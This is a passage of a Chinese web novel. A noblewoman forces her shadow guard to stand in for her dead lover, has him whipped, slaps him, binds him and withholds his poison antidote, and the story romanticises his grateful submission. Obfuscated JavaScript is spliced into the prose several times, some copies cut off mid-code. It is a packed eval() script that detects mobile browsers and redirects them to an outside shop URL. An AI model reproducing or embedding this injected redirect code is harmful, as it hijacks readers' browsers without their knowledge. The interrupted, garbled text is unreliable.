跪了一夜的膝盖如今已肿痛得麻木,玄霜不动声色从袖中滑出银针,刺入穴位,以此来维持知觉,以免失力摔倒,冲撞了大小姐。 他不知殷芙是否还记着昨夜之事,一时不敢贸然开口,只垂着眼,屏息跪候。 殷芙的目光扫过玄霜胸前。 他还穿着昨日那身青色薄衫,却处处凌乱,透着被亵玩过的痕迹。 殷芙看了半晌,方慢悠悠问道:“昨日,本小姐都碰了你哪里。” 玄霜眼睫微动,张了张嘴,却不知该如何启齿。 殷芙不耐地催促:“本小姐在问你话。” 玄霜不敢不答,“回大小姐话,昨日,大小姐碰了……碰了属下的,腰。” 他顿了下,才将那字说出口,仿佛是什么淫|秽禁|词一般。 “还有呢?” “还有……”玄霜顿了一息,嗓音有些哑,“还有属下的……胸口。” 脸上莫名泛起滚烫热意,玄霜低着头,背在身后的手指轻轻抿了下掌心的汗。 殷芙挑眉:“没了?” “还有……属下的,大腿。” 玄霜艰难地从喉咙里挤出这几个字,他知晓殷芙忌讳,不敢再提死字,只能重重磕下头去,“属下知罪,请大小姐赐罚。” 暗卫伏在地上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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项丛不服劲,心道定是他力气轻了,手上便愈发发狠,到最后,地上铺着的干草都浸了血色,触目惊心。 玄霜平静地站起身,在项丛惊骇的目光中走出了柴房,回到自己的屋子。 和芙花院里的其他下人不同,玄霜有一间单独的屋子。只是他平日里大多时间都守在殷芙的卧房附近,夜里也是靠着墙根闭眼浅眠,时刻留意着主子周围的动静,所以很少回这里休息。 玄霜在木榻上坐下来,低头看了眼身上的伤口。破烂的布条和翻卷的皮肉粘连在一起,他伸手一点点挑开,随手拿了块棉巾,草草擦了几下,便算是处理过伤口了。 以前在影阁时他时常受伤,比这更重的伤几乎是家常便饭,有好几次都险些彻底醒不过来,这点程度的伤于他而言,只是疼了些,并不算什么。 玄霜闭上眼,轻运内力,缓和着身上痛楚,脑海中却不受控制地浮现出昨晚在大小姐房中的一幕幕。 大小姐抱着他。 乌黑如瀑的发丝花一样散在他怀中,带着酒气的呼吸紧贴着他的心口。 大小姐的手指纤细洁白,指甲作乱地刮蹭过,痒得难耐。 影阁里的训练只教了他如何忍痛,却从未教过他该如何忍耐这般感受,大小姐便不满地锢着他腰身,命令他不许躲。 他庆幸那时候大小姐醉着,否则,她便会清晰地听到他一声声快到不可思议的心跳。 玄霜想,大小姐没有将他赶出相府,已是天大的仁慈。 或许是因为他这张像极了裴钰的脸,所以大小姐才原谅了他罢。 脸…… 他的脸。 玄霜此时才感觉到脸上热得厉害,时不时还有些发痒,不像是天气炎热所致,倒像是…… 玄霜心头跳了跳,从枕下摸出那日惜月给他的一面旧铜镜。 双颊上布满细密骇人的红疹,玄霜愣了下,他知道吃了那碟鱼脍会犯瘾疹,却没想到,这一次会起在脸上。 若是大小姐看见了他如今的模样…… 生平第一次,玄霜感觉到了慌乱。 他弄坏了这张脸。 这张,像极了大小姐心上人的脸。 10. 第十章 殷芙用过早饭,只觉头仍有些晕,便让惜月在房中点了些安神香,回榻上又歇了一觉。 昏昏沉沉睡去,醒来时已是晌午。 殷芙坐起身,唤了惜月进来,要了壶解渴的凉茶,一口气饮了两盏,才觉神清气爽,浑身畅快。 惜月在一旁絮絮叨叨地叮嘱:“小姐以后可万万不能再碰酒了,幸而是在自己家中,这若是在外头饮醉了,可如何是好?” 殷芙含糊应着,那酒的味道实在一言难尽,若不是听信了玄霜的话,她碰都不会碰。 “对了,奴婢方才进来时,看见项丛候在外头,说是来向小姐回话的,小姐可要见他?” 殷芙拿过帕子擦了擦唇角,随口道:“让他进来吧。” 昔年殷家出事,府中旧仆早遣散了大半,如今各院里伺候的下人都换了批新面孔。项丛前月才被买入相府做事,说来这还是他第一次见到这位殷家大小姐,不免有些紧张,不过几步路,手心便出了好些的汗。 “奴、奴才见过小姐。” “何事?”殷芙没有看他,只淡声问道。 “回小姐话,您交代奴才的差事,奴才都办妥了。”项丛躬着腰,殷勤地将手中染血的马鞭捧到她面前,“那人皮糙肉厚的,可着实费了奴才不少力气,您瞧,这鞭子都快抽断了,奴才可一点儿没偷懒,奴才保证,往后他绝不敢再冒犯小姐。” 殷芙抬眸,看向项丛手中的马鞭。 鞭身纹路浸满黑红血迹,宛如浴血的龙麟甲羽,其中一节已有断裂之势,隐约露出里头绞缠的铜丝,足以见得行罚之人用了多大的力气。 殷芙不过随口说了个数目,并不知三十鞭的后果竟这般严重,怪不得玄霜没有过来向她谢罚,许是伤势太重,下不得床了。 项丛眼巴巴地望着她,又将手中的鞭子捧高了些,心思都快写在脑门上了。 殷芙自然明白,这小厮对玄霜下那般重的手,无非是存了在她面前献殷勤讨恩赏的心思。 不过,到底只是一个无足轻重的暗卫而已,罚重了便罚重了,也不值得她怜惜什么。 殷芙随手从床边木屉里摸出几锭碎银,扔给项丛,“知道了,下去吧。” 项丛喜滋滋地将银子揣进怀里,一连磕了好几个清脆的响头,嘴里不停地念着,多谢小姐,多谢小姐。 殷芙听得心烦,摆摆手,让惜月赶紧把人带下去。 午饭用得清淡,只几碟素菜并一道鱼脍。 芙花院的厨娘们见昨日那道鱼脍一片未剩,以为殷芙喜欢,便特地又做了送来。 殷芙只瞧了一眼,便对惜月吩咐道:“拿去给玄霜,告诉他是本小姐赏的。” 惜月领命而去,回来时手里的碟子是空了,眼神却有些躲闪。 “他、他让奴婢替他谢过小姐恩典,待晚些时候,他再来向小姐谢恩。” 殷芙只当是玄霜身上的伤还需缓一缓,嗯了声,并未放在心上。 用过午饭,殷芙不觉又有了几分困意,她卧在窗下软榻上闭目小憩了一会儿,便听得门外素玉禀话,道相爷请她去松寿堂一趟。 昨日殷至邺回到府中,李蕙便同他说起了想给殷芙请个先生教授课业一事。女儿的事自然是头等要紧的大事,趁着今日休沐,殷至邺用了一个上午的功夫,便给殷芙请回了一位夫子。 此人姓杨名望松,在京中的慈惠书院讲书。这慈惠书院,还是当年殷至邺尚未入狱时,向皇帝进言所设,专门招收那些读不起书的贫苦子弟,几年下来,出了不少贤才,皇帝也愈发看重。 前些日子殷至邺赴书院考察学情,与杨望松几番交谈,见他才思深厚,温和耐心,颇得学生们喜爱,心中对此人便多了几分印象。李蕙一提起要给女儿请先生的事,殷至邺立刻便想到了他。 慈惠书院分文不收,夫子们的薪俸自然也十分微薄,朝廷便允许他们可私下接些杂活,殷至邺开出的报酬丰厚,又能借此得个和相府结交的机会,杨望松自然答应得爽快。 堂中设红檀木案,铺白宣青砚,一派雅致,几名丫鬟小厮候在堂外,垂首屏息。 殷至邺引着殷芙向杨望松行了见师之礼,临走前不忘殷切叮嘱:“阿芙啊,你万不能小瞧了杨夫子,别看他只是个讲书的夫子,以他的才学,入翰林院任学士绰绰有余,只是缺了些气运。” 杨望松连忙拱手道:“相爷谬赞了。” 殷至邺笑道:“我这话可是真心,杨兄,我只阿芙一个女儿,还望你务必好好教导。” “这是自然,相爷放心。” 目送殷至邺的背影消失在前院,杨望松方入了座,打量起眼前这位明艳姝丽的姑娘。 殷芙正翻着书册,察觉到他的视线,大大方方抬起脸,笑问:“夫子有话要说?” 杨望松犹豫了下,道:“恕杨某冒昧,那日殷小姐在宫中所言,杨某也有所耳闻,殷小姐……当真认识裴家三郎?他……果真已经死了么?” 他虽为夫子,但殷芙毕竟是殷相的女儿,他自然不敢以老师自居。 殷家小姐不愿嫁状元郎之事,出了泠水园便经由各家丫鬟之口,在京中传得沸沸扬扬,如今也就只有还在病中的皇帝尚不知晓。 殷芙怔了怔,惊讶道:“夫子认识阿钰?” 杨望松点头,想起旧事,不由有些感伤,徐徐对殷芙说来。 “我家住建邱,本非京城人士,去年入京赶赴秋试,与三郎同住景福客栈,一来二去,便相熟了。三郎满腹经纶,一腔抱负,奈何裴侯不喜,实在可怜。” “三郎何等人物,自然不甘心这辈子只做个乡下夫子,便赌上全部家当,给主考送了份厚礼。那张侍郎当时答应得痛快,谁知事后又收了旁人的礼,便悔了对三郎的允诺,让三郎吃了个哑巴亏……” 说到气急处,杨望松不免有些激动,话一出口,才惊觉失言,连忙对殷芙道:“这话还望殷小姐切莫告诉旁人,只当是我胡言乱语。” 殷芙眉心轻蹙,杨望松所言字字真切,不似有假,可为何裴钰从未对她提起过? 且裴钰一身清傲风骨,每每同她谈及京中文人那些私下贿赂往来之事,无不是满腹鄙夷,万分不齿,只恨自己不能身在京中,肃清这股不正之风,又怎会做出这等贿赂考官之举? 殷芙面上不显,只问道:“后来呢?” “后来……”杨望松叹了声,“后来我与三郎双双落榜,裴侯不肯收留三郎母子在京中,三郎又折了全部家当,心灰意冷,便与我作别,说是要回乡下谋生。我却是机缘巧合下得了个机遇,留在了慈惠书院讲书,日子过得还算安稳。只是不知三郎如今……” 如此说来,裴钰上京,是为秋试,而非探病之故。 转念一想,倒也释然,彼时裴钰正是落榜失意之时,大约也不愿同她提起这些辛酸事,便随口编了个谎。 学子寒窗苦读,自是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524554|203427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为功名利禄,哪个不是卯足了心思想在京城落稳脚跟? 这道理,殷芙懂得,却从未想过,裴钰玉洁松贞,竟会如俗子之流,向考官行贿。 不过殷芙对此倒并不在意,只是骤然从杨望松口中听说此事,一时有些惊讶。 她对裴钰的情愫,本就始于雨夜里那一张惊艳难忘的脸,至于什么才学,风骨……皆是锦上添花之物,而非根本。 人已经不在了,再计较这些也是无用,何必让心中明月为此而蒙尘染瑕,失了意趣。 殷芙垂下眼睑,平静道:“阿钰身有旧疾,骤然发病,没能救回性命。还望夫子节哀。” 杨望松闻言,眸色怔了怔,似有些不能相信,半晌,终是长叹一声:“也罢,也罢。三郎大才,却福薄短寿,如此说来,我竟比他幸运许多。” 说罢,杨望松便从怀中取出一本薄册,递给殷芙。 “这是我与三郎同住客栈时,三郎所作的文章诗词,留在我这里也是无用,我便给殷小姐带来了。” 殷芙接过来,随手翻开几页,确是裴钰清秀笔迹。 只是纸上字字句句,皆是郁郁不得志之语,与他在白沙村为她所作的那些临景抒情之作,几乎判若两人。 “夫子有心了。”殷芙没再多言,谢过杨望松,便将册子收了起来。 一下午一晃而过。 殷芙嘱咐小厮好生将送杨望松出府,回到芙花院,用过晚饭,便拿出那本册子,打开来在灯下细细读着。 可谓是字字泣血,诉尽心中不平。 裴钰在她面前,从来都是从容自矜,淡然文雅,从不会流露出这般愤世嫉俗之态,即使不得裴家看重,也不曾怨怼过半分。 殷芙抚摸着纸上墨字,心想,裴钰为何要将这些情绪苦闷在心中,却不同她倾诉呢。 想着想着,脑海中裴钰的轮廓不知不觉又模糊起来,眉眼五官,影影绰绰,仿佛笼在雾霭之中,看不真切。 殷芙皱起眉,不想再多思,将薄册仔细收好,起身走到一旁的檀木长案前。 案上,惜月已备好了作画所用的纸笔等物,殷芙跪坐下来,铺开一张雪白宣纸,心不在焉地问道:“玄霜呢?怎么还没见他过来。” 她说过,每日戌时要过来陪她作画的,如今已迟了一刻钟了,何况今夜又是牵乌发作之时。 惜月正要出去,闻言,身子顿时僵在原地,支支吾吾地道:“玄霜他、他身子有些不舒服,让奴婢同小姐说一声,今日不能过来了,待他身上好些,再来向小姐请罪。” 殷芙眉心轻蹙,“怎么,已经歇了一日了,还下不得地吗?” 惜月转过身,紧张地攥着手,“他、他……” 殷芙盯着惜月慌张的神色,声音冷了几分:“同本小姐说实话。” 惜月打小就不会撒谎,眼见瞒不住事,只得咬咬牙,扑通一声跪了下来:“小姐恕罪,奴婢不是有意欺瞒小姐,只是、只是玄霜的脸如今吓人得很,奴婢也是怕他过来冲撞了小姐……” 脸? 殷芙不由微微坐直了身子,“他的脸怎么了?” “不、不知为何,起了满脸的红疹,连模样都快瞧不出了……”惜月忐忑地低着头,声音愈发小了下去。 脑海中浮现出裴钰那张清隽出尘的脸布满可怖红疹的模样,殷芙的眉头皱得更深了,她哪里还有心思作画,重重搁下笔,冷声道:“把他带来。立刻。” 11. 第十一章 屋中四下点着烛灯,照得亮堂堂。 殷芙坐在窗下矮榻上,蹙眉看向跪在面前的暗卫。 男人低垂着眼,半张脸被黑巾遮覆,却依然能清晰地瞧见额头和鬓边星星点点的红。 殷芙眉心紧皱,伸手将那欲盖弥彰的黑巾扯下,顿时倒吸一口凉气。 整张脸几乎无一块完好之地,大片大片细密的红疹,如针扎过的孔痕,又宛如被蚁虫啃咬过,触目惊心。 那样完美的一张脸,竟变成眼前这副模样,殷芙无论如何也无法接受,一时又惊又怒,“怎么回事?” 许是自知犯错,暗卫只将头垂得更低了些,缄默不语。 殷芙冷了脸,质问道:“何时的事?白日里就这样了吧?所以你才一直不敢来见本小姐,是不是?若不是惜月坦白,这样大的事,你还打算瞒着本小姐多久?” 殷芙越说越气,忍无可忍地扬起手,重重一巴掌扇在玄霜脸上。 “你可知你弄坏的是阿钰的脸!” 耳光声清脆,震颤开热烫的痕印。 殷芙正在气头上,下手卯足了力气,玄霜耳边几乎有短暂的嗡鸣,一瞬间,他失去暗卫敏锐的听觉,什么都听不见了,只有殷芙的声音,在脑海中一遍遍回荡。 阿钰,阿钰…… 分明受苦遭罪的是他,可大小姐字字句句,却在心疼另一个人。 他身上还发着烧热,脸上亦是痛痒不止,五脏六腑,血脉骨骼,是大小姐所赐的牵乌之痛。 许是烧得有些糊涂了,玄霜恍惚生出一种错觉,好像这张脸并不属于他自己,只是大小姐的一件赏赐,如今他竟擅自弄坏了它,自然该罚,该骂。 少女微长的指甲勾乱了玄霜鬓边的发丝,长长的一缕垂下来,掩在他被扇得半偏过去的脸上。 玄霜上身仍旧跪得笔直,缓了一息后,便将脸摆正,顺着殷芙的话,低声请罚。 “属下知错,请大小姐责罚。” 殷芙说了半晌,也不见他开口解释半句缘由,更不曾为自己辩解一字,她失去耐心,也懒得再逼问他,扬声吩咐惜月:“去请纪大夫来。” 惜月“哎”了声,低着头匆匆跑了出去。 这位纪大夫纪元中,是殷家的府医,平日里就住在殷府东边的偏院,离芙花院不过半刻钟的路程。听得惜月传话,以为是殷芙身上出了什么毛病,提了药箱便匆忙奔了过来。 一进房中,才看见地上跪着个侍卫打扮的男人,殷芙伸手指了指,“劳烦纪大夫瞧一瞧,他这脸是怎么回事,可有得治。” 纪元中暗想,这位大小姐可当真是菩萨心肠,竟有闲心为个侍卫诊病。 心里想想便罢了,嘴上自然不敢乱说什么,忙点头应着,提箱上前,细细端详了一番。 “这……瞧着像是吃了发物所致的烧热瘾疹,不知这位公子,近日可有食用什么鱼鲜荤腥?” 问罢,半晌不见玄霜作答,殷芙倒是想起了什么,蹙眉道:“他昨日吃了些鱼脍。” 纪元中点头道:“那就是了,公子往后切记不可再碰鱼肉,否则这瘾疹一旦发作,可熬人得很,一阵痒一阵疼的,能折磨得人抓心挠肺。” “瞧这脸,都有些发肿了,公子应当吃了不少吧?幸好公子体格强健,若是体虚些的,怕是有性命之忧。” 纪元中还在念叨着,而男人始终垂着眼,面色平静,仿佛对此早有所料。 殷芙忽然想到什么,只觉心口那团火气愈烧愈旺:“你早就知道自己吃不得鱼肉,是不是?” 所以昨日她将那片鱼脍夹给他时,他才那般犹豫。 可为何明知后果会这般严重,却还要当着她的面一片片吃下,甚至她晌午另赏的一碟,也不声不响地吃了个干净? 这样好的一张脸,长在他的身上,他却半点也不知珍惜! 玄霜跪在那里,嘴唇动了动,想回殷芙的话,又想着她如今正生着气,应当不会想听他的辩解,便又哑然沉默下去。 殷芙抬起手,再次毫不留情地扇了他一巴掌。 “本小姐不记得何时留了个哑巴在身边。” 那声音听得纪元中陡然一惊,下意识闭上了嘴巴,蹲在一旁,再不敢出声。 他默默收回了方才心里那句话,这位大小姐的脾性……和菩萨心肠四个字半点不沾边。 耳光落下,带来短促的痛意,须臾便被脸上的疹热所覆盖。 当着旁人的面被大小姐扇巴掌,玄霜微微攥紧了手指,黑密眼睫垂下一片冷肃的影。 他很快再次将脸转回来,低声道:“是,属下年幼时犯过一回瘾疹,只是属下以为这一次还会长在身上,不知道会在脸上发作。属下并非故意,求大小姐宽恕。” 无论是有心还是无意,这张脸成了这般模样,都是摆在眼前的事实。殷芙按了按眉心,强忍心头烦躁,问一旁的纪元中:“可有法子消疹?” 纪元中连忙点头,“有,有,老夫这便回去调配药膏,涂在脸上,养上十天半月,便能恢复如常。不过这瘾疹发作起来,会瘙痒难耐,这位公子生得这般俊俏,可千万得忍住了,不可抓挠,若是破了相落了疤,那可是神医也救不得了。” 他不提这话还好,一提破相落疤,殷芙只觉心口又是一阵气血翻涌,闭上眼,满脑子都是裴钰脸上布满可怖伤疤的模样。 她摆了摆手,示意惜月送上一包碎银,让纪元中回去配药,“劳烦纪大夫早些配好药送来,莫要耽搁。” 纪元中连声答应着,“小姐放心,明日一早老夫便送来。” 惜月送着纪元中出了门,卧房里一时安静下来。 殷芙冷眼睨着跪在面前的暗卫,语气冰凉。 “你是怨本小姐让你做阿钰的替身,所以存心报复,故意吃下那些鱼脍,想毁了这张脸,是吗?” 毕竟,没有人愿意成为另一个人的模样。 可他是她的暗卫,自该对她言听计从,她想做什么,从来都无需过问他的意愿。 玄霜迅速摇头:“属下不敢,大小姐那时说过,裴公子喜食鱼脍,属下……只是不想扫了大小姐的兴致。” “你该知道,如若不是因为阿钰,你根本没有留在本小姐身边的资格。” “属下明白。” 玄霜应得很快,喉咙里却莫名泛起几分难言的晦涩。 牵乌的药性似乎越发厉害了。 那股痛,随着他的话音,似要割破心口,一刀一刀剜去他原本的血肉。 燥热的夜风拂进屋中,落在玄霜滚烫的鼻息间,似那日少女唇齿间呼出的微醺酒气,温香馥郁。 她抚摸他生涩的身体,口中唤着阿钰的名字。 那一刻,他想,他愿意为大小姐做任何事。 哪怕明知那不过是大小姐对另一个男人的温柔,从来都不是一个卑贱的暗卫所能肖想的。 殷芙拿起手边茶盏,抿了口茶,漫不经心道:“记住了,能做阿钰的替身,是本小姐赏你的恩典,这张脸,可比你的命金贵多了。” “是,属下多谢大小姐教诲。” 玄霜垂着眼,不动声色地将腰后.穴位上的银针又往深处推了推,他打了个颤重新跪稳了,喉咙里像吞了烧心灼肺的酒,声音哑涩得几乎不成人声,“属下……会好好珍惜这张脸,不会再让大小姐生气。” 殷芙的心情这才勉强缓和了几分,她倾身靠近了些, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524555|203427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伸手挑起玄霜下颌,皱着眉打量了一番。 玄霜默了默,“大小姐若还未消气,便再罚属下几巴掌。” 殷芙嫌弃地推开他的脸:“你如今这张脸,碰一下本小姐都嫌脏了手。” 方才她的心思都在玄霜的脸上,这会儿视线才落到他身上,白日里被马鞭关照过的地方凄惨不堪,大片大片深密交叠的红棱缀在胸口,侧腰,和大腿,掩在破破烂烂的布条下,浑身都是凌|虐过的痕迹。 伤痕落在这几个位置,竟别有一番趣味。 殷芙眸色微深,“怎么不换衣裳就过来了?是本小姐缺了你衣裳穿?” 暗卫漆黑的眸子里浮起后知后觉的怔愣,低头看了眼身上,才意识到自己忘了换衣裳。 整整一日,玄霜都在想法子消去脸上的红疹,全然忘记了身上的惨状,他迅速扯了扯那些破碎的布条,试图拢盖住身上受罚的痕迹,“属下失仪,属下这便回房换衣裳,再来向大小姐领罚。” “……算了,不必换了。” 他的反应并无刻意,否则殷芙都忍不住要怀疑,他是不是知道她今日要生气,所以故意露着那些鞭痕来讨好她。 不对。 她何时喜欢看这些了? 和裴钰在一起的时候,她只知他的脸很好看,从来没有过这般心思。 何况裴钰文人骨弱,哪禁得起这般落伤。 殷芙的目光落在暗卫鞭痕交错的大腿上,紧绷的肌肉微微打着颤,无声地昭示着这具身体正在忍耐的痛苦。 殷芙看了半晌,从袖中取出瓷瓶,倒了一粒解药在手心,漫不经心道:“膝盖再分开些,跪坐吧。” “是,大小姐。” 跪在地上的暗卫似乎全然忘记了这满身的痛苦是谁所赐,反而心生感激。他眼下烧热得厉害,身上实在没什么气力,如若不是一遍遍将银针推入腰后.穴位,膝盖早就跪不住了。 幸而大小姐怜惜,竟允他跪坐休息。 臀压在脚跟,膝盖卸去力气,终于得到了片刻松缓,大腿上的伤痕随着他的动作被尽数撑开,在殷芙面前袒露无遗,像一件任她观赏的玩物。 暗卫对此毫无察觉,只是抬起浸满汗水的眼睫,隐隐有些渴望地,看向她手中解药。 殷芙俯下身,慢条斯理地将那粒解药放在玄霜膝前。 “两刻钟后再吃了它,今日允你吃一整颗,别死在本小姐面前了。” 玄霜眼眸倏然亮了亮,哑声道:“是,多谢大小姐恩赐。” 大小姐……待他真好。 本以为今日惹了大小姐不快,解药自然不是他能奢望的了,却没想到,大小姐还愿意赏他。 殷芙坐回榻上,随手拿了册裴钰买给她的诗集,无聊地翻看着。 诗中大多赞咏山水花草,田园风物,实在无趣,远不及眼前风景动人。 即使是跪坐的姿势,牵乌的药性也一刻未曾放过玄霜,背在身后的手指紧紧攥在一处,漆眸无声地紧盯着面前地板上放着的那粒药丸。 解药分明近在咫尺,只要他伸出手,就能轻而易举地拿到,放入口中咽下,便不必再忍受这般痛苦,却偏偏要违背着本能,苦苦忍耐。 殷芙余光瞥着,勾了勾唇,忽然觉得好像没那么生气了。 只是疼痛尚能忍受,脸上的瘙痒却实在难挨,玄霜忍了半晌,终于忍不住动了下手腕,想伸手抓挠两下,想起纪元中的叮嘱,又生生忍了回去。 不可以弄坏这张脸。 这张……大小姐喜欢的脸。 殷芙瞧见他的小动作,不觉又蹙起眉,她放下书册,起身进了里屋,从木箱里寻出一卷以前在白沙村时用来拴马的麻绳。 12. 第十二章 麻绳粗糙结实,握在手里,沉甸甸的。 殷芙在玄霜身后蹲下来,将它一圈圈绕在他劲瘦手腕上,再结结实实地打了个死结。 绳子似乎绑得太紧了,男人闷哼了声,肩骨都跟着收紧了些,手臂肌肉撑出显眼轮廓。 殷芙满意地站起身,不紧不慢绕回玄霜面前。 长长的麻绳拖在地上,被殷芙绕了两圈,握在手中。她用力扯拽了两下,确认足够结实,才吩咐道:“你晚上绑着手睡。” 如此,便不用担心他会抓坏了脸。 玄霜感受着她绑绕的手法,粗糙潦草,与绑一头牲畜无异。他默了一息,应道:“是,大小姐。” 殷芙斟酌片刻,又道:“今夜你就宿在本小姐这里罢。” 纪元中明日才能配好药膏送来,这一夜最是难熬。万一他回去后禁不住痒,央了旁人替他抓挠…… 裴钰的脸于她而言,乃世间最珍贵之物,绝不能出半点差错。 玄霜下意识道:“大小姐,这不合规矩,属下身份卑微,怎可留宿大小姐房中。” “怎么,不听本小姐的话?” 殷芙不满地扯动绳子,又绕了几圈在手上。长绳骤然缩成短短一截,玄霜踉跄着跪倒在地,身子狼狈地伏在殷芙脚边,眼睁睁看着面前的解药骨碌碌地滚出去好远,染上尘灰,变得脏兮兮的。 殷芙轻蔑地踩了踩暗卫的脸。 这张脸如今丑得要命,她瞧着心烦,力道也没轻没重,“若不是怕你忍不住痒,伤了阿钰的脸,你以为本小姐愿意盯着你?” “……属下知错,一切听凭大小姐安排。” 手腕被麻绳牵拽着,磨出通红的印子,渗出丝丝血痕。 束发的墨带不知何时散开了,黑发凌乱铺了一地。 玄霜感受着碾踩在脸上的怨气,安静承受着,是他犯错在先,玷污了裴公子尊容,大小姐这般生气,他自该受着。 这样一个精壮强悍的男人匍匐在她的脚下,分明被她作弄得遍体鳞伤,却没有半句怨言,殷芙眸色微动,难得好心,弯腰捡起那根掉在地上的发带,替他低低地将头发绑了。 她松了些绳子,让玄霜自己跪起身来,语气稍缓:“起来,先把解药吃了。” 双手被紧缚在腰后,无法使力,玄霜只能全凭腰腹力量撑起身体,朝那粒滚落在墙角的解药膝行过去。他俯下身,用牙齿叼起滚满尘土的药丸,回到殷芙面前,得了她眼神允许,才扬起脖颈,囫囵吞咽下去。 惜月叩门进来,手中托盘里摆着两碗汤药,看见屋中情景,不禁倒吸一口冷气。 白日里还一身肃杀之气的暗卫此刻发丝凌乱,浑身是伤地跪在那里,也不知是不是又挨了小姐的巴掌,一对手腕被绑牲口用的粗绳牢牢缚在身后,实在可怜。 她知晓小姐极看重这张脸,可这、这是不是罚得太狠了些? “惜月,去备一床褥子,铺在脚榻边上,今晚他睡在这里。”殷芙吩咐道。 惜月忙应了声,心知小姐这是仍不放心,定要把人放在眼皮子底下盯着,她低着头快步走上前,将药碗搁在桌上,“小姐,这是纪大夫熬的退热药,喝了睡一宿,明日应当就能退烧了。” 殷芙瞥了眼男人缚在身后的双手,拿起药碗,朝他勾了勾手指。 玄霜膝行上前,殷芙掰开他的下颌,纡尊降贵地把还冒着热气的汤药灌进他口中。 若是裴钰,她自然会仔细把药吹温了,一匙一匙喂给他,就像在白沙村时那样,可此刻在她面前的,不过是个肖似裴钰的替代品而已,只管把药灌下去,别让人死了就是。 汤药急急淌进喉咙,呛得玄霜阵阵咳嗽,殷芙蹙眉,用指背拭去他唇角溢出的药汁,抹在男人苍白发青的唇上。 那药光是闻着都觉得苦,玄霜却只是微微皱了下眉,便大口吞咽下去。 “多谢大小姐。” 他低着眼,面色平静,不敢有丝毫僭越。 大小姐,竟亲自喂药给他。 唇上似乎还残留着大小姐手上的香气,那几根纤细白皙的手指,昨日抚摸过他青涩颤抖的腰身,方才又扇过他卑贱的脸颊。 ……脸上又开始痒了。 玄霜深吸一口气,极力忍耐着抓挠的欲望,他得快些将这张脸养好,这样大小姐才会高兴。 殷芙见托盘上还有一碗药,以为也是给玄霜的,正要如法炮制给他灌下,惜月连忙上前拦住了,“小姐,这是纪大夫给您熬的安神汤,奴婢说您近日夜里总是睡不好,纪大夫便顺手给开了个方子。” 殷芙把药拿到面前闻了闻,只尝了一口,便苦得直皱眉,“拿下去吧,我喝不下。” “小姐……自从咱们回京,您就没睡过一个安稳觉,这可是纪大夫家中祖传的秘方,您就喝了试一试嘛。”惜月实在担心殷芙的身子,捧着药碗小心劝着。 殷芙勉为其难喝了大半碗,惜月见她眉头紧皱,生怕她全吐了出来,忙倒了盏茶让她先压一压,又急急忙忙跑去取蜜饯。 殷芙瞧着碗底,浓郁药汁混着深棕色的零碎药渣,光是看着便难以下咽,她眉心紧拧,勾过玄霜下颌,令他张开嘴,如倒垃圾般尽数倒入他口中。 玄霜怔了下,本能地吞咽下她灌进之物,待咽得干净,方低声开口道:“这是给大小姐调理身子的药,赏给属下,实在浪费。” 殷芙懒懒哼了声:“本小姐自己的身子,自己清楚。用不着喝药。” 心疾难医,任它是什么灵丹仙药,也是无用。 外间传来一声开门轻响,是惜月端了蜜饯进来。 走至近前,见托盘上的药碗已经空了,惜月不由一愣,小姐竟主动把药喝完了? 她下意识四下寻找花瓶之类能藏倒汤药的容器,却一件可疑之物都没发现。 殷芙从容自若地推推桌上的空碗,“收拾下去吧,我乏了,要歇下了。” 惜月仍是不信那药进了殷芙的肚子,可没寻着证据,也只得作罢,将桌案收拾干净,便退了出去,自去廊下和素玉守夜。 房中寂静,烛火摇曳无声。 殷芙站起身,回到寝间,将衣裳脱了,换上一件单薄清凉的烟纱裙,然后才朝跪在窗下的男人吩咐道:“过来。” “是,大小姐。” 玄霜应了声,因双手被缚,动作有些缓慢,颇费了些功夫,终于挪至殷芙面前。 殷芙踢了踢他的肩:“把灯熄了,便躺下安歇吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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黑暗中传来几声尖锐的喵呜声,殷芙摸索着将烛灯点起,见玄霜手中拎着一只通体漆黑皮毛脏乱的小猫,正不满地蹬着爪子挣扎着。 原来是只猫。 如今天热,府中园子里时常有野猫出没,瞧着像是一窝生的,也不知是从哪儿跑进来的,李蕙不忍心将它们赶出去,便让丫鬟们拿剩菜剩饭喂着,只当是给殷家积德了。 小猫越叫越凶,实在吵得人头疼,殷芙皱起眉,摆手道:“把它放了吧。” 玄霜应了声是,捏着小猫后颈,打开房门将它放在石阶上,转眼功夫,小猫便跳进草丛里不见了。 殷芙下了榻,自斟了盏茶喝了几口压惊,回到榻前,才注意到拴在床头的绳子只剩下空荡荡的一截。 她弯下腰,捡起地上已然断成好几截的麻绳,想起方才那一刹男人敏捷的身手,眉心轻蹙,后知后觉自己似乎干了件没用的事。 区区一根绳子,如何缚得住影阁第二的高手。 她一心只想着万不可让裴钰的脸被毁,却是忽略了这一层。 “大小姐。” 回神时,暗卫不知何时已无声无息地跪在了她身后。 